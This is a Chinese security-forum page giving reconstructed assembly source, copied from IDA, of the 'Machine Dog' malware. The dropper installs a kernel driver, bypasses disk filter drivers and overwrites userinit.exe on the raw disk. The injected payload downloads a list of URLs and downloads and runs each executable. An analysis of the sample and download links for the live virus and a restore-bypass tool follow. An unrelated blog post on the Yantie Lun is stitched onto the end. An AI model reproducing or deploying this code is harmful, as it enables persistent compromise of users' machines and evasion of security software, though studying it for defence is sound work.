call FindResourceA
or eax, eax
jz failed

mov hResInfo, eax
push eax ; hResInfo
push hModule ; hModule
call SizeofResource
mov nNumberOfBytesToWrite, eax

push hResInfo ; hResInfo
push hModule ; hModule
call LoadResource
or eax, eax
jz failed

push eax ; hResData
call LockResource
or eax, eax
jz failed
mov lpBuffer, eax

failed:
or eax, eax
jnz CONTINUE
jmp Exit

CONTINUE: ; nSize
push 100h
lea eax, @FileName
push eax ; lpDst
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call ExpandEnvironmentStringsA

push 0 ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push 4 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 40000000h ; dwDesiredAccess
lea eax, @FileName
push eax ; lpFileName
call CreateFileA
cmp eax, 0FFFFFFFFh
jnz short CREATEFILEOK
jmp Exit

CREATEFILEOK:
mov hObject, eax
push 0 ; lpOverlapped
lea eax, NumberOfBytesWritten
push eax ; lpNumberOfBytesWritten
push nNumberOfBytesToWrite ; nNumberOfBytesToWrite
push lpBuffer ; lpBuffer
push hObject ; hFile
call WriteFile

push hObject ; hFile
call SetEndOfFile

push hObject ; hFile
call FlushFileBuffers
push hObject ; hObject
call CloseHandle

push 0F003Fh ; dwDesiredAccess
push 0 ; lpDatabaseName
push 0 ; lpMachineName
call OpenSCManagerA
or eax, eax
jz OpenSCManagerFailed
mov hSCManager, eax

push 0 ; lpPassword
push 0 ; lpServiceStartName
push 0 ; lpDependencies
push 0 ; lpdwTagId
push 0 ; lpLoadOrderGroup
lea eax, @FileName
push eax ; lpBinaryPathName
push 0 ; dwErrorControl
push 3 ; dwStartType
push 1 ; dwServiceType
push 0 ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call CreateServiceA
or eax, eax
jz CreateServiceFailed
mov hSCObject, eax
push hSCObject ; hSCObject
call CloseServiceHandle
jmp OPENSERVICE

CreateServiceFailed:
push 0F01FFh ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call OpenServiceA
or eax, eax
jz short OpenServiceFailed
mov hSCObject, eax
lea eax, ServiceStatus
push eax ; lpServiceStatus
push 1 ; dwControl
push hSCObject ; hService
call ControlService
push hSCObject ; hService
call DeleteService
push hSCObject ; hSCObject
call CloseServiceHandle

OpenServiceFailed:
push 0 ; lpPassword
push 0 ; lpServiceStartName
push 0 ; lpDependencies
push 0 ; lpdwTagId
push 0 ; lpLoadOrderGroup
lea eax, @FileName
push eax ; lpBinaryPathName
push 0 ; dwErrorControl
push 3 ; dwStartType
push 1 ; dwServiceType
push 0 ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call CreateServiceA
or eax, eax
jz QUIT
mov hSCObject, eax
push hSCObject ; hSCObject
call CloseServiceHandle
jmp OPENSERVICE

QUIT:
jmp Exit

OPENSERVICE:
push 10h ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call OpenServiceA
or eax, eax
jz OPENSERVICEFAILED
mov hSCObject, eax
push 0 ; lpServiceArgVectors
push 0 ; dwNumServiceArgs
push hSCObject ; hService
call StartServiceA
or eax, eax
jnz StartServiceOK
jmp Exit

StartServiceOK: ; hSCObject
push hSCObject
call CloseServiceHandle
push hSCManager ; hSCObject
call CloseServiceHandle
jmp OpenSCManagerFailed

OPENSERVICEFAILED:
push hSCManager
call CloseServiceHandle
jmp Exit

OpenSCManagerFailed: ; nSize
push 100h
lea eax, @FileName
push eax ; lpDst
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call ExpandEnvironmentStringsA
lea eax, @FileName
push eax ; lpFileName
call DeleteFileA
ret

Exit:
push 10h
push 0 ; lpCaption
push offset Text ; "出错"
push 0 ; hWnd
call MessageBoxA
push 0 ; uExitCode
call ExitProcess
LoadServiceFromRes endp

aSystemrootSyst db '%SystemRoot%\System32\Userinit.exe',0
;***************************************************************************************************************
;簇是磁盘使用的基本单元。 组成一个簇的扇区数总是2的幂数,当卷被格式化时此数值是固定的。 此数值称为簇要素,
;通常用字节引用,如8KB,2KB。 NTFS通过每件事的逻辑簇数来寻址。
;逻辑簇数(LCN):卷里的每个簇都给定了一个顺序号,这是它的逻辑簇数。LCN0(零)指向卷的第一个簇(引导扇区)。
; 用LCN乘以簇的大小就可以算出在卷里的物理偏移量。
;
;实际簇数(VCN):一个非常驻的流的每个簇都给定了一个顺序号,这是它的实际簇数。VCN0(零)指向这个流的第一个簇。
; 要定位磁盘上的流,就必须把VCN转换成LCN.这是在数据运转的帮助下完成的。
;
;数据运转:每个LCN的连续模块都被赋予了一个数据运转,它包含一个VCN,一个LCN和一个长度。
; 当NTFS需要在磁盘上找到一个对象时,就查看数据运转中的VCN来得到LCN。

;其他信息:
; 1)当卷被格式化时可以选择簇的大小。
; 2)一个卷的簇的大小存储在$Boot里。也定义了此值在一个MFT文件记录和一个索引记录的簇里。
; 3)如果扇区数在用,NTFS通过引用簇数可以寻址更大的磁盘。

;下面是一个关于允许和默认簇的大小的列表:

;Windows NT
; 512 bytes, 1KB, 2KB or 4KB
;Windows 2000, Windows XP
; 512 bytes, 1KB, 2KB, 4KB, 8KB, 16KB, 32KB or 64KB

;卷的大小 默认的簇的大小
;< 512MB Sector size
;< 1GB 1KB
;< 2GB 2KB
;> 2GB 4KB
;***************************************************************************************************************
DoMyWork proc lpFileName ;成功返回值为0

LOCAL lpBuffer
LOCAL nNumberOfBytesToWrite
LOCAL hDevice
LOCAL lDistanceToMove
LOCAL HighOffset
LOCAL dwLowPartofLcn
LOCAL dwHighPartofLcn
LOCAL StartSectorC
LOCAL hFile
LOCAL PhysicalBuff[512]:BYTE
LOCAL Buffer[512]:BYTE
LOCAL OutBuffer[272]:BYTE
LOCAL dwRet
LOCAL DistanceToMoveHigh:DWORD
LOCAL InBuffer[8]:BYTE
LOCAL hObject

pusha
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 80000000h ; dwDesiredAccess
push offset FileName ; "\\\\.\\PhysicalHardDisk0" 是pcihdd.sys创建的符号链接
call CreateFileA
cmp eax, 0FFFFFFFFh
jz CreateFileFailed
mov hDevice, eax

push 0 ; hTemplateFile
push 20000000h ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 3 ; dwShareMode
push 80000000h ; dwDesiredAccess
push lpFileName ; 打开userinit.exe
call CreateFileA
cmp eax, 0FFFFFFFFh
jz CreateUserInitFileFailed
mov hObject, eax

push 8
lea eax,InBuffer
push eax
call RtlZeroMemory

push 110h ;初始化
lea eax, OutBuffer
push eax
call RtlZeroMemory

push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpBytesReturned
push 110h ; nOutBufferSize
lea eax, OutBuffer
push eax ; lpOutBuffer
push 8 ; nInBufferSize
lea eax, InBuffer
push eax ; lpInBuffer
push 90073h ; dwIoControlCode = FSCTL_GET_RETRIEVAL_POINTERS
push hObject ; hDevice
call DeviceIoControl ;通过FSCTL_GET_RETRIEVAL_POINTERS获取userinit文件数据的分布信息
or eax, eax
jz DeviceIoControlFailed

;这个结构是8字节对齐的,结构长度32字节
;typedef struct RETRIEVAL_POINTERS_BUFFER
;{
; DWORD ExtentCount;
; LARGE_INTEGER StartingVcn;
; struct
; {
; LARGE_INTEGER NextVcn;
; LARGE_INTEGER Lcn;
; } Extents[1];
;} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;

;typedef union union
;{
; struct
; {
; DWORD LowPart;
; LONG HighPart;
; };
; LONGLONG QuadPart;
;} LARGE_INTEGER, *PLARGE_INTEGER;

lea edi, OutBuffer ;OutBuffer是上面结构体指针
mov ebx, [edi] ;ExtentCount = Extents数组元素个数
lea edi, [edi+10h] ;指向Extents数组首地址,根据字节对齐
mov eax, DistanceToMoveHigh
or ebx, ebx ;判断ExtentCount是否为0
jz ExtentCountIsZero

mov eax, [edi+8] ;指向Extents[0].Lcn.LowPart
mov edx, [edi+0Ch] ;指向Extents[0].Lcn.HighPart
cmp eax, 0FFFFFFFFh
jz FEIHUA
cmp edx, 0FFFFFFFFh
jz FEIHUA

mov dwLowPartofLcn, eax ;保存lcn低32位
mov dwHighPartofLcn, edx ;保存lcn高32位

push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, Buffer
push eax ; lpBuffer
push hObject ; hFile
call ReadFile ;读取userinit文件开头512字节

push hObject ; hObject
call CloseHandle
mov hObject, 0 ;关闭文件

push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 3 ; dwShareMode
push 0C0000000h ; dwDesiredAccess
push offset a_Physicaldrive ; "\\\\.\\PhysicalDrive0"
call CreateFileA ;打开物理硬盘读写
cmp eax, 0FFFFFFFFh
jz OPENPHYSICSFAILED
mov hFile, eax

push 0 ; dwMoveMethod
push 0 ; lpDistanceToMoveHigh
push 0 ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ; 定位

push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;读取硬盘主引导分区MBR
;
; 0000 |------------------------------------------------|
; | |
; | |
; | Master Boot Record |
; | |
; | |
; | 主引导记录(446字节) |
; | |
; | |
; | |
; 01BD | |
; 01BE |------------------------------------------------|
; | |
; 01CD | 分区信息 1(16字节) |
; 01CE |------------------------------------------------|
; | |
; 01DD | 分区信息 2(16字节) |
; 01DE |------------------------------------------------|
; | |
; 01ED | 分区信息 3(16字节) |
; 01EE |------------------------------------------------|
; | |
; 01FD | 分区信息 4(16字节) |
; |------------------------------------------------|
; | 01FE | 01FF |
; | 55 | AA |
; |------------------------------------------------|
;分区表
;
; 分区表是一个链表,主分区表是分区链表的第一个节点。由于主分区表中只能分四个分区, 无法满足需求,
因此设计了一种扩展分区格式。扩展分区就是分区表的第二个节点到最后一个节点。
;
; 主分区表是从主引导扇区第0x1BE字节开始的,共64个字节,最后是0x55AA。64个字节的分区信息分为四组,每16字节为一组。每组的数据结构是这样的:
;
;typedef struct
;{
; BYTE byState;//分区状态, 0 = 未激活, 0x80 = 激活
; BYTE byBeginHead;//分区起始磁头号
; WORD wBeginSC;//分区起始扇区和柱面号, 底字节的低6位为扇区号, 高2位为柱面号的第 9,10 位, 高字节为柱面号的低 8 位
; BYTE byFSID; //分区类型, 如 0x0B = FAT32, 0x83 = Linux 等, 00 表示此项未用
; BYTE byEndHead;//分区结束磁头号
; WORD wEndSC;//分区结束扇区和柱面号
; DWORD dwInfoAreaSectors;//在线性寻址方式下的分区相对扇区地址
; DWORD dwSectors;//分区大小 (总扇区数)
;} INFOAREA_PARAM;//磁盘的分区信息

lea edi, PhysicalBuff
cmp byte ptr [edi+1BEh], 80h ;byState判断是否为活动分区
jnz NOTACTIVEDISK
movzx ebx, byte ptr [edi+1C2h] ;byFSID判断分区类型
cmp ebx, 0Bh
jz FAT32 ;Win95 FAT32
cmp ebx, 0Ch
jz FAT32 ;Win95 FAT32 LBA
cmp ebx, 7
jnz NTFS ;HPFS/NTFS

FAT32:
mov eax, [edi+1C6h] ;C盘起始扇区(首扇区的相对扇区号)
mov StartSectorC, eax
xor edx, edx
imul eax, 200h ;求出实际的字节偏移
mov DistanceToMoveHigh, edx
mov ecx, eax

push 0 ; dwMoveMethod
lea eax, DistanceToMoveHigh
push eax ; lpDistanceToMoveHigh
push ecx ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ;定位到硬盘C盘起始扇区的绝对位置

push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;读硬盘C盘起始扇区 即:第一个分区的引导扇区BPB

lea edi, PhysicalBuff
movzx eax, word ptr [edi+0Eh]; BPB_RsvdSecCnt = 保留扇区数量
add StartSectorC, eax
cmp ebx, 0Bh ;Win95 FAT32
jz WIN95FAT32
cmp ebx, 0Ch ;Win95 FAT32 LBA
jnz short FAT32LBA

WIN95FAT32:
movzx ecx, byte ptr [edi+10h]; BPB_NumFATS = 每个分区占用的FAT表 数
mov eax, [edi+24h] ; BPB_FATSz32 = 每个FAT占用扇区数
xor edx, edx
imul eax, ecx
add StartSectorC, eax ;数据记录起始扇区

FAT32LBA:
mov eax, dwLowPartofLcn
mov edx, dwHighPartofLcn
movzx ecx, byte ptr [edi+0Dh] ;BPB_SecPerClus = 每簇多少扇区
mov nNumberOfBytesToWrite, ecx
imul eax, ecx
add eax, StartSectorC
adc edx, 0
imul eax, 200h ;求出绝对偏移字节位置
mov HighOffset, edx ;偏移高32位
mov lDistanceToMove, eax ;低32位

push 0 ; dwMoveMethod
lea eax, HighOffset
push eax ; lpDistanceToMoveHigh
push lDistanceToMove ; lDistanceToMove
push hFile ; hFile
call SetFilePointer

push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;在找到的硬盘扇区读

lea edi, PhysicalBuff
lea esi, Buffer
mov ecx, 200h
repe cmpsb ;通过对比ReadFile读取的文件数据和自己定位后直接读取所得到的文件数据,确定定位是否正确

or ecx, ecx
jnz DIFF

push 0 ; dwMoveMethod
lea eax, HighOffset
push eax ; lpDistanceToMoveHigh
push lDistanceToMove ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ;重新定位到上面找到的硬盘扇区处

mov eax, nNumberOfBytesToWrite
shl eax, 9 ;这个值是作者估算的
mov nNumberOfBytesToWrite, eax

push nNumberOfBytesToWrite ; dwBytes
push 40h ; uFlags
call GlobalAlloc
or eax, eax
jz ALLOCMEMORYFAILED
mov lpBuffer,eax

mov ecx, offset MessageBoxA
sub ecx, offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"

;把整个代码体作为参数传递给pcihdd.sys,控制码0xF0003C04,
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpBytesReturned
push nNumberOfBytesToWrite ; nOutBufferSize
push lpBuffer ; lpOutBuffer
push ecx ; nInBufferSize
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
push 0F0003C04h ; dwIoControlCode
push hDevice ; hDevice
call DeviceIoControl

;并将pcihdd返回的数据直接写入userinit.exe的第一簇
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesWritten
push nNumberOfBytesToWrite ; nNumberOfBytesToWrite
push lpBuffer ; lpBuffer
push hFile ; hFile
call WriteFile

push hFile ; hFile
call FlushFileBuffers
mov dwRet, 0
jmp OVER

ALLOCMEMORYFAILED:
; "分配内存不成功"
mov dwRet, offset aFCJ

OVER: ; hMem
push lpBuffer
call GlobalFree
jmp FINISHED

DIFF:
mov dwRet, offset ERR1
jmp FINISHED

NTFS:
mov dwRet, offset ERR2
jmp FINISHED

NOTACTIVEDISK:
mov dwRet, offset ERR3

FINISHED: ; hObject
push hFile
call CloseHandle
jmp OPENPHYSICSFAILED

FEIHUA:
mov dwRet, offset ERR4

OPENPHYSICSFAILED: ;打开硬盘设备失败
jmp ExtentCountIsZero

DeviceIoControlFailed:
mov dwRet, offset ERR5

ExtentCountIsZero:
cmp hObject, 0
jz ZeroObject
push hObject ; hObject
call CloseHandle
jmp ZeroObject

CreateUserInitFileFailed:
mov dwRet, offset ERR6

ZeroObject: ; hObject
push hDevice
call CloseHandle
jmp EXIT

CreateFileFailed:
mov dwRet, offset ERR7

EXIT:
popa
mov eax, dwRet
ret
DoMyWork endp

start proc
push 0 ; lpModuleName
call GetModuleHandleA
mov hModule, eax
call LoadServiceFromRes ;load service from resource

push 100h ; nSize
push offset Dst ; lpDst
push offset aSystemrootSyst ; "%SystemRoot%\\System32\\Userinit.exe"
call ExpandEnvironmentStringsA

push offset Dst ; lpFileName
call DoMyWork
or eax, eax
jnz FAILED
push offset OutputString ;
call OutputDebugStringA
jmp Exit

FAILED: ; lpOutputString
push eax
call OutputDebugStringA

Exit:
call QuitService
push 0 ; uExitCode
call ExitProcess
start endp

end start

文章作者:naitm
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
文章备注:从IDA中复制,稍作修改所得。
ASM

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 机器狗写入到userinit.exe文件的恶意代码
; by naitm(http://hi.baidu.com/naitm)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include Advapi32.inc
includelib Advapi32.lib
include wininet.inc
includelib wininet.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
nThreadCount dd 0
g_ThreadCount dd 0
PathName db '.',0
szAgent db 'Shell',0
szUser32Dll db 'user32.dll',0
szLoadRemoteFonts db 'LoadRemoteFonts',0
szSubKey db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
szUrlList db 'http://127.0.0.1/cert.cer',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_RunIt proc @lpExePath

local @ProcessInformation:PROCESS_INFORMATION
local @StartupInfo:STARTUPINFO

invoke GetStartupInfo,addr @StartupInfo
invoke CreateProcess,0,@lpExePath,0,0,0,20h,0,0,addr @StartupInfo,addr
@ProcessInformation
.if eax == 0
invoke CloseHandle,@ProcessInformation.hThread
invoke CloseHandle,@ProcessInformation.hProcess
.endif

leave
retn 4
_RunIt endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_DownloadFile proc @lpURL,@lpSaveFile,@Buffer

local @hInternet,@hInternetFile,@hLocalFile,@nNumberOfBytesToWrite,@NumberOfBytesWritten,@nWriteCount
local @lpbuffer[200h]:BYTE

xor eax, eax
mov @nWriteCount, eax
invoke InternetOpen,addr szAgent,0,0,0,0
.if eax != 0
mov @hInternet, eax
invoke InternetSetOption,@hInternet,2,@Buffer,4
invoke InternetSetOption,@hInternet,6,@Buffer,4
invoke InternetOpenUrl,@hInternet,@lpURL,0,0,200000h,0
.if eax != 0
mov @hInternetFile, eax
mov @nNumberOfBytesToWrite, 0
mov @NumberOfBytesWritten, 200h
invoke HttpQueryInfo,@hInternetFile,13h,addr @lpbuffer,\
addr @NumberOfBytesWritten,addr @nNumberOfBytesToWrite
.if eax != 0
invoke CreateFile,@lpSaveFile,40000000h,0,0,4,0,0
.if eax != 0FFFFFFFFh
mov @hLocalFile, eax
.while TRUE
mov @nNumberOfBytesToWrite, 0
invoke InternetReadFile,@hInternetFile,addr @lpbuffer,200h,addr
@nNumberOfBytesToWrite
.break .if (!eax)
.break .if (@nNumberOfBytesToWrite==0)
inc @nWriteCount
invoke WriteFile,@hLocalFile,addr @lpbuffer,@nNumberOfBytesToWrite,\
addr @NumberOfBytesWritten,0
.endw
invoke SetEndOfFile,@hLocalFile
invoke CloseHandle,@hLocalFile
.endif
.endif
invoke InternetCloseHandle,@hInternetFile
.endif
invoke InternetCloseHandle,@hInternet
.endif
mov eax, @nWriteCount
leave
retn 0Ch

_DownloadFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_DownloadEXERunIt proc @lpURL

local @DownTimes
local @TempFileName[204h]:BYTE
local @TempFileName2[204h]:BYTE
local @szUrl[104h]:BYTE

mov @DownTimes, 3Ch
invoke lstrcpy,addr @szUrl,@lpURL
invoke RtlZeroMemory,addr @TempFileName,204
invoke GetTempFileName,offset PathName,0,0,addr @TempFileName
invoke lstrcpy,addr @TempFileName2,addr @TempFileName

DownloadNxTime:
invoke _DownloadFile,addr @szUrl,addr @TempFileName,1388h
or eax, eax
jz DownloadFailed
invoke lstrcpy,addr @TempFileName,addr @TempFileName2
invoke _RunIt,addr @TempFileName
jmp DownloadEnd
; ---------------------------------------------------------------------------

DownloadFailed:
invoke Sleep,3E8h
dec @DownTimes
jnz DownloadNxTime

DownloadEnd:
dec nThreadCount
leave
retn 4
_DownloadEXERunIt endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
main proc

local hKey,hObject,hFile,lpBaseAddress,ThreadId
local szShellValue[104h]:BYTE

invoke LoadLibrary,offset szUser32Dll
or eax, eax
jz RegQueryShell
invoke GetProcAddress,eax,offset szLoadRemoteFonts
or eax, eax
jz RegQueryShell
call eax

RegQueryShell:

invoke RegOpenKeyEx,80000002h,offset szSubKey,0,20019h,addr hKey
or eax, eax
jnz TestInternet
mov ThreadId, 104h
invoke RtlZeroMemory,addr szShellValue,104h
invoke RegQueryValueEx,hKey,offset szAgent,0,0,addr szShellValue,addr ThreadId
invoke _RunIt,addr szShellValue
invoke RegCloseKey,hKey

TestInternet:

invoke Sleep,3E8h
invoke InternetGetConnectedState,addr ThreadId,0
or eax, eax
jnz InternetConnect_OK
jmp TestInternet
; ---------------------------------------------------------------------------

InternetConnect_OK:
invoke RtlZeroMemory,addr szShellValue,104h
invoke GetTempFileName,offset PathName,0,0,addr szShellValue

DownList:

invoke Sleep,3E8h
invoke _DownloadFile,offset szUrlList,addr szShellValue,1388h
or eax, eax
jz DownListFailed

mov nThreadCount, 0
invoke CreateFile,addr szShellValue,GENERIC_READ,0,0,3,0,0
cmp eax, INVALID_HANDLE_VALUE
jz ReaptDownList

mov hFile, eax
invoke GetFileSize,hFile,0
cmp eax, 0Fh
jnb BeginDownEXE
invoke CloseHandle,hFile
jmp DownList
; ---------------------------------------------------------------------------

BeginDownEXE:
invoke CreateFileMapping,hFile,0,2,0,0,0
or eax, eax
jz CreateMapFailed
mov hObject, eax
invoke MapViewOfFile,eax,4,0,0,0
or eax, eax
jz MapViewFailed

mov lpBaseAddress, eax
mov esi, eax

loc_4005E1:
lea edi, szShellValue
push 104h
push edi
call RtlZeroMemory

WetherNewLine:
lodsb
cmp al, 0Ah
jnz loc_4005F8
lodsb

loc_4005F8:
cmp al, 0Dh
jz loc_400605
stosb
or al, al
jz UrlListEnd
jmp WetherNewLine
; ---------------------------------------------------------------------------
jmp UrlListEnd
; ---------------------------------------------------------------------------

loc_400605:
cmp szShellValue, 0
jz NextLine
inc nThreadCount
invoke CreateThread,0,0,offset _DownloadEXERunIt,addr
szShellValue,0,addr ThreadId
invoke CloseHandle,eax
invoke Sleep,64h

NextLine:
jmp loc_4005E1
; ---------------------------------------------------------------------------

UrlListEnd:

invoke UnmapViewOfFile,lpBaseAddress

MapViewFailed:
invoke CloseHandle,hObject

CreateMapFailed:
invoke CloseHandle,hFile
jmp WetherTreadend
; ---------------------------------------------------------------------------

ReaptDownList:
jmp DownList
; ---------------------------------------------------------------------------
jmp WetherTreadend
; ---------------------------------------------------------------------------

DownListFailed:
jmp DownList
; ---------------------------------------------------------------------------

WetherTreadend:

cmp nThreadCount, 0
jz ExitProgram
invoke Sleep,64h
jmp WetherTreadend
; ---------------------------------------------------------------------------

ExitProgram:
invoke ExitProcess,0

main endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start
鬼仔注:文章末尾所添加的机器狗、IGM、写穿还原的工具(已可以被卡巴检测到是病毒)是在无敌小龙那里看到的,我加了个备用地址。

样本脱壳
OD加载样本explorer.exe,
对GetModuleHandleA下断,参数为NULL时即为入口点处对此函数的调用,
退出CALL之后可以得到入口为 004016ED。
重新加载样本,对004016ED下内存写入断点,中断后StepOver一步,然后在004016ED
下断点,F9运行到入口,DUMP。DUMP之后不关闭OD,让样本处于挂起状态,使用ImportREC修复DUMP
出来的文件的导入表。
修复之后DUMP出来的文件用OD加载出错,使用PEDITOR的rebuilder功能重建PE之后即可用OD加载,说明
脱壳基本成功,但资源部分仍有问题,无法用Reshacker查看

pcihdd.sys的提取
OD加载样本explorer.exe,设置有新模块加载时中断,F9运行
当ADVAPI32.DLL加载时,对CreateServiceA下断点,F9运行
当CreateServiceA中断时,即可提取出pcihdd.sys

pcihdd.sys基本流程如下
1)检查IDT的09(NPX Segment Overrun)和0E(Page Fault )处理程序的地址
如果09号中断处理程序存在,并且处理程序地址的高8位与0E处理程序高8位不同,则把
IDT中0E的高16位设为0。估计是检查0E是不是被HOOK了
我比较龌龊,看不懂这些操作的意思,这样不BSOD?请懂的兄弟跟帖告诉一声
2)通过搜索地址来查找自己的加载地址
查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中
3)创建了\Device\PhysicalHardDisk0及其符号连接\DosDevices\PhysicalHardDisk0
4)只对IRP_MJ_CREATE
IRP_MJ_CLOSE
IRP_MJ_DEVICE_CONTROL
作出响应

其中IRP_MJ_CREATE中会断开\Device\Harddisk0\DR0上附加的设备。这个操作会使磁盘过滤驱动、文件系统驱动(OS提供的,
但一些杀毒软件也通过此渠道进行文件系统监控)及其上的文件系统过滤驱动(大多数文件访问控制和监控
都是这个层次的)无效(参见http://blog.csdn.net/joshua_yu/archive/2006/02/04/591636.aspx)

在IRP_MJ_CLOSE 中对恢复DR0上的附加

在IRP_MJ_DEVICE_CONTROL中对0xF0003C04作出响应,只是把2)中找到的资源数据解密后返回到应用程序。
解密密钥是通过应用程序传入的一个串(密钥种子?)查表后产生(KEY:0x3f702d98)

0xF0003C04的作用:
将用户态传入的整个代码体作为密钥种子对这个代码体进行类似于校验和的运算后得
到4字节的解密KEY,然后使用此解密key将驱动自身携带的资源解密(仅仅是XOR),将解密
结果返回给用户态。

关于解除DR0上的附加设备:
这种操作应该会影响系统正常的文件系统操作,但是因为实际操作时此驱动被打开和关闭的的间隔很短,所以应该
不会有明显影响。

explorer.exe流程
1、释放资源中的pcihdd.sys并创建名为pcihdd的服务,启动服务
2、定位userinit.exe在硬盘中的位置。定位方法如下
1)通过FSCTL_GET_RETRIEVAL_POINTERS获取文件数据的分布信息

2)通过直接访问硬盘(\\\\.\\PhysicalHardDisk0)的的MDR和
第一个分区的引导扇区得到分区参数(每簇扇区数),配合1)中得到的信息
来定位文件在硬盘上的绝对偏移量。
这里有个小BUG,扇区大小是使用固定的512字节而不是从引导扇区中获取

3)通过对比ReadFile读取的文件数据和自己定位后直接
读取所得到的文件数据,确定定位是否正确
3、把整个代码体作为参数传递给pcihdd.sys,控制码0xF0003C04,并将pcihdd返回
的数据直接写入userinit.exe的第一簇

被修改后的userinit.exe
1)查询SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon下的Shell键值
2)创建Shell进程
3)等待网络链接,当网络链接畅通后,则从http://yu.8s7.net/cert.cer下载列表
4)对于列表中的文件每个文件,创建一个新线程下载并执行,线程计数加一(INC)
5)等待所有线程结束后(线程计数为0)结束进程。

对于线程计数的操作并不是原子操作,理论上多CPU情况下有小的概率出问题。
不过人家是写针对普通PC的病毒,多CPU不常见,也不需要稳定

simple.rar (142.99 KB)

文中所指的病毒就是一般说的新AV终结者

机器狗:http://www.esfast.net/downs/explorer.rar [备用地址]
IGM:http://www.esfast.net/downs/IGM.rar [备用地址]
写穿还原的工具:http://www.esfast.net/downs/SectorEditor.zip

盐铁论

从柜子里翻出一本小册子,诸子百家的盐铁论,翻了前几页,就感叹起来,论战双方真是精彩。现在的信息获取这么方便,精品却越来越少了,到处充斥着各种各样的垃圾信息,就像上网,似乎每天都在看杂志似的,没多少有用的东西。

想想,现在的信息,在硬盘上,在光盘上,过上几年就丢了,现在还保留着上学时用的磁盘,里面的东西,估计早就读不出来了。还是古人保存信息的方法好啊,直接刻在石头上,过了几十个世纪,都还清清楚楚地在上面。

无论是信息的有效性,还是保存信息的技术,古人确实很有一套啊。下面的日子,要经常读经典的东西了,没时间经常上网了。

也许以后只是在经常写一下想法,和日记似的,必要的时候,才会开机上网吧。

下面是盐铁论第一部分,看看,是不是非常精彩。google一下,网上有可以下载的地方。诸子百家的全文,txt版本。

家庭百宝箱系列软件主页
盐铁论 卷一
(桓宽)


返回:诸子百家目录
进入:盐铁论01 02 03 04 05 06 07 08 09 10(当前页:01)

本议第一

